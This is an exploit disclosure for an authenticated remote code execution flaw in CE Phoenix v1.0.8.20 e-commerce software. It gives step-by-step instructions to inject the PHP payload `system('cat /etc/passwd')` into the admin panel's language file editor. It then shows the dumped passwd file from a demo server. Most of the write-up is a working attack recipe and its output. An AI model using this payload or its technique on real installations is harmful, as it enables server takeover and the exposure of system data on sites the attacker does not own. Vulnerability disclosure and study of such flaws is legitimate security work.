CE Phoenix 1.0.8.20 Remote Command Execution

## Exploit Title: CE Phoenix v1.0.8.20 - Remote Code Execution (RCE) (Authenticated)#### Date: 2023-11-25#### Exploit Author: tmrswrr#### Category: Webapps#### Vendor Homepage: [CE Phoenix](https://phoenixcart.org/)#### Version: v1.0.8.20#### Tested on: [Softaculous Demo - CE Phoenix](https://www.softaculous.com/apps/ecommerce/CE_Phoenix)### POC:<img src="https://raw.githubusercontent.com/capture0x/Phoenix/main/1.png" alt="Magento Image" width="1000"><img src="https://raw.githubusercontent.com/capture0x/Phoenix/main/2.png" alt="Magento Image" width="1000">1. **Login to admin panel:**     - Visit: `https://demos6.softaculous.com/CE_Phoenixvkqhcarjmw/admin/define_language.php?lngdir=english`    2. **Access english.php:**    - Click on `english.php` and inject the payload:     ```    <?php echo system('cat /etc/passwd'); ?>    ```    3. **Save Changes:**    - Save the modified file.4. **View Results:**    - Visit the main page: `https://demos6.softaculous.com/CE_Phoenixvkqhcarjmw/`    - You will see the following result:root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologingames:x:12:100:games:/usr/games:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologinsystemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologinsystemd-network:x:192:192:systemd Network Management:/:/sbin/nologindbus:x:81:81:System message bus:/:/sbin/nologinpolkitd:x:998:997:User for polkitd:/:/sbin/nologintss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologinsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologinpostfix:x:89:89::/var/spool/postfix:/sbin/nologinchrony:x:997:995::/var/lib/chrony:/sbin/nologinsoft:x:1000:1000::/home/soft:/sbin/nologinsaslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologinmailnull:x:47:47::/var/spool/mqueue:/sbin/nologinsmmsp:x:51:51::/var/spool/mqueue:/sbin/nologinemps:x:995:1001::/home/emps:/bin/bashnamed:x:25:25:Named:/var/named:/sbin/nologinexim:x:93:93::/var/spool/exim:/sbin/nologinvmail:x:5000:5000::/var/local/vmail:/bin/bashmysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/falsewebuzo:x:993:993::/home/webuzo:/bin/bashapache:x:992:991::/home/apache:/sbin/nologinapache:x:992:991::/home/apache:/sbin/nologin